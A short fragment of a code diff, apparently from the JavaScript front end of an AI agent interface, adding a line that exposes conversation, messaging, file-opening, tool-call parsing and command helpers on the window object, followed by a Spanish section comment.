3332+window.elffussClaw = { conv, get agent() { return conv.getActive()?.agent; }, send, openFile, parseToolCall, skills, commands: COMMANDS };
33323333
33333334
33343335 // ---------- puerta de móvil y chip de disco ----------